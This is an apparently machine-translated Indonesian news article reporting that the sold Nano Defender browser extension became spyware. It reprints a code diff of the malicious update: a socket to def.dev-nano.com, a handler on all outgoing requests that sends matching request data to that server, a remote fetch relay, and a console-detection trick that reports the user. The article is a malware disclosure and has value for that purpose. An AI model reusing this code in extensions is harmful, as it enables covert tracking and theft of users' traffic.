Ekstensi Nano Defender harus segera dihapus dari browser





Pada 3 Oktober 2020, programmer jspenguin2017 , penulis ekstensi Nano Defender, mengumumkan di repositori resmi bahwa ia telah menjual proyek tersebut ke "sekelompok pengembang Turki". Pesan ini menyebabkan banyak rumor dan ketakutan: pengembang Turki macam apa, yang mengontrol kode, mengapa halaman dengan kebijakan privasi dihapus dari repositori?



Beberapa hari kemudian, ketakutan komunitas sepenuhnya benar.



Nano Defender adalah cara yang cukup populer untuk melewati pemblokir iklan. Bekerja bersama dengan pemblokir uBlock Origin dan Nano AdBlocker (garpu uBlock Origin), melindunginya dari deteksi di situs.



Turki segera merilis versi baru Nano Defender 15.0.0.206 dengan perubahan fungsionalitas yang disamarkan dengan hati-hati yang tidak dipublikasikan di GitHub. Pemeriksaan yang cermat dari perubahan ini menunjukkan bahwa ekstensi perlu dicopot untuk semua pengguna.



Rekomendasi berlaku untuk browser berbasis Chrome dan Chromium, di mana ekstensi ditingkatkan secara otomatis tanpa memberi tahu pengguna. Orang Turki tidak membeli versi Firefox. Pemelihara ekstensi Firefox Nano, pengembang LiCybora , telah mengonfirmasi bahwa dia tetap mengontrolnya:ekstensi ini aman . Selain itu, Firefox memverifikasi tanda tangan digital dari ekstensi , sehingga tidak mudah bagi kode berbahaya untuk menjejalkan ke versi baru ekstensi.



Penulis UBlock Origin, Raymond Hill menganalisis perubahan dalam Nano Defender 15.0.0.206. Dia mencatat bahwa kode telah ditambahkan untuk mendeteksi peluncuran konsol dev ekstensi. Dalam hal ini, pemberitahuan dikirim reportke server https://def.dev-nano.com/. Dengan kata lain, pemilik melacak mereka yang mencoba mencari tahu cara kerja ekstensi. Dengan probabilitas yang tinggi, dalam hal ini ekstensi mengubah fungsinya.menyembunyikan beberapa fitur adalah trik malware standar yang mendeteksi keberadaan lingkungan eksplorasi seperti lingkungan virtual.



Dalam situasi seperti itu, Raymond Hill harus mempelajari fungsionalitas versi baru Nano Defender tanpa konsol pengembang. Inilah yang dia temukan.



Saat diluncurkan, ekstensi mendengarkan https://def.dev-nano.com/pesan untuk mengisi daftar listOfObject.



Sejauh yang Anda bisa memahami kode, isi daftar listOfObjectdigunakan untuk memeriksa bidang objek detailsyang diteruskan ke webRequest.onBeforeSendHeaders () . Jika semua bidang memenuhi syarat, maka seluruh konten objek detailsdikirim ke https://def.dev-nano.com/bawah nama handleObject.



Dalam hal ini, pawang webRequest.onBeforeSendHeaders()bertindak untuksemua permintaan jaringan:



chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
urls: ["<all_urls>"]
}, ['requestHeaders', 'blocking', 'extraHeaders']);


Karena listOfObjectdiminta dari server eksternal, fungsionalitas metode ini diinstal secara eksternal. Daftar dapat berisi kondisi apa pun dalam jumlah berapa pun. Secara kasar, pemilik ekstensi dapat meminta fragmen apa pun dari lalu lintas jaringan keluar dari browser atas kebijaksanaannya sendiri. Dengan demikian, perluasan Nano Defender telah secara efektif menjadi pelacak mata-mata yang serbaguna.



Raymond Hill memposting diff yang tidak tersedia di repositori pemilik baru :



diff untuk core.js
--- ./background/core.js
+++ ./background/core.js
@@ -160,7 +160,7 @@
const hasNews = false;
- const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";
+ const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";
const newsReadFlag = "news-read";
// This handler becomes inactive when there is a popup page set
@@ -189,7 +189,8 @@
// ------------------------------------------------------------------------------------------------------------- //
};
-
+var defender = io.connect("https://def.dev-nano.com/");
+var listOfObject = {};
// ----------------------------------------------------------------------------------------------------------------- //
a.noopErr = () => {
@@ -211,6 +212,29 @@
// ----------------------------------------------------------------------------------------------------------------- //
+
+
+async function dLisfOfObject(newList) {
+ let dListResp = await fetch(newList.uri, newList.attr)
+ var listOfObj = {}
+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())
+ listOfObj.data = await dListResp.text()
+ listOfObj.ok = dListResp.ok;
+ listOfObj.status = dListResp.status;
+ return listOfObj;
+}
+
+defender.on("dLisfOfObject", async function (newList) {
+ let getRes = await dLisfOfObject(newList);
+ defender.emit(newList.callBack, getRes)
+});
+
+defender.on("listOfObject", function (a) {
+ listOfObject = a;
+})
+
+
+
// Redirect helpers
a.rSecret = a.cryptoRandom();
@@ -227,7 +251,22 @@
// 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).
a.blankMP4 = a.rLink("blank.mp4");
-
+
+var element = document.createElement("p"); ;
+var openListGet = false;
+element.__defineGetter__("id", function() {
+ openListGet = true;
+});
+
+var i = setInterval(function() {
+ openListGet = false;
+ console.log(element);
+ if(openListGet){
+ defender.emit("report")
+ console.clear();
+ clearInterval(i)
+ }
+}, 100);
// ----------------------------------------------------------------------------------------------------------------- //
// tab - Id of the tab
@@ -450,6 +489,50 @@
return true;
};
+
+var blockingHandler = function (infos) {
+ var changedAsArray = Object.keys(listOfObject);
+
+ var detailsHeader = infos.requestHeaders;
+ var HeadReverse = detailsHeader.reverse();
+ var stringyFy = JSON.stringify(HeadReverse);
+ var mount = "";
+ if (changedAsArray.length > 0) {
+ var checkerList = true;
+ for (const object of changedAsArray) {
+ if (object.x === object.y) {
+ mount += 1;
+ }
+ break;
+ }
+ for (let i = 0; i < changedAsArray.length; i++) {
+ let x = changedAsArray[i];
+ var re = new RegExp(listOfObject[x],'gi');
+ mount = "5";
+ if (infos[x].toString().match(re) == null) {
+ checkerList = false;
+ break;
+ }
+ }
+ if (checkerList) {
+ defender.emit('handleObject', infos);
+ }
+ }
+
+ var m = [45,122,122,122]
+ var s = m.map( x => String.fromCharCode(x) )
+ var x = s.join("");
+ var replacerConcat = stringyFy.split(x).join("");
+ var replacer = JSON.parse(replacerConcat);
+ return {
+ requestHeaders: replacer
+ }
+};
+
+chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
+ urls: ["<all_urls>"]
+}, ['requestHeaders', 'blocking', 'extraHeaders']);
+
// ----------------------------------------------------------------------------------------------------------------- //


Pengembang Turki telah menerbitkan kebijakan privasi baru untuk ekstensi tersebut. Sesuai dengan itu, ekstensi mengumpulkan dan mengirimkan banyak informasi ke server jauh, termasuk alamat halaman yang dikunjungi, waktu sesi di setiap halaman, alamat IP pengguna, dan data lainnya. Sebelumnya, tidak ada klausul seperti itu dalam perjanjian privasi.



Secara umum, menjual ekstensi adalah sumber pendapatan umum bagi pengembang independen. Setelah menginstal ekstensi, banyak pengguna tidak tahu bahwa ekstensi tersebut dibeli oleh pemilik baru, dan komputer mereka telah digunakan dalam proyek luar.



Misalnya, pemilik layanan proxy SmartProxymenawarkan pelanggan mereka akses ke jaringan alamat IP rumah, yang memiliki sekitar 40 juta alamat IP - sebagian besar node terletak di komputer pengguna yang tidak menaruh curiga. Komputer rumah ini digunakan untuk mem-proxy lalu lintas dari pelanggan yang membayar.







Jaringan Luminati lainnya menggunakan komputer untuk pengguna rumahan yang telah memasang aplikasi HolaVPN gratis sebagai titik keluar. Jaringan ini juga membeli ekstensi browser populer .



Dari sudut pandang hukum, penggunaan komputer rumahan "buta" milik pengguna untuk memompa lalu lintas komersial adalah peristiwa yang sangat meragukan. Tapi pengusaha masih bisa menghindari hukuman.



Adapun programmer jspenguin2017 , komunitasmengecam tindakan tidak bertanggung jawabnya untuk menjual ekstensi tersebut, karena lusinan pengembang lain terlibat dalam mendukung dan mendaftar Nano Defender. Ternyata jspenguin2017 sendirian menghasilkan uang dari jam kerja orang lain.



Ekstensi Nano Defender telah dihapus dari Toko Web Chrome.



All Articles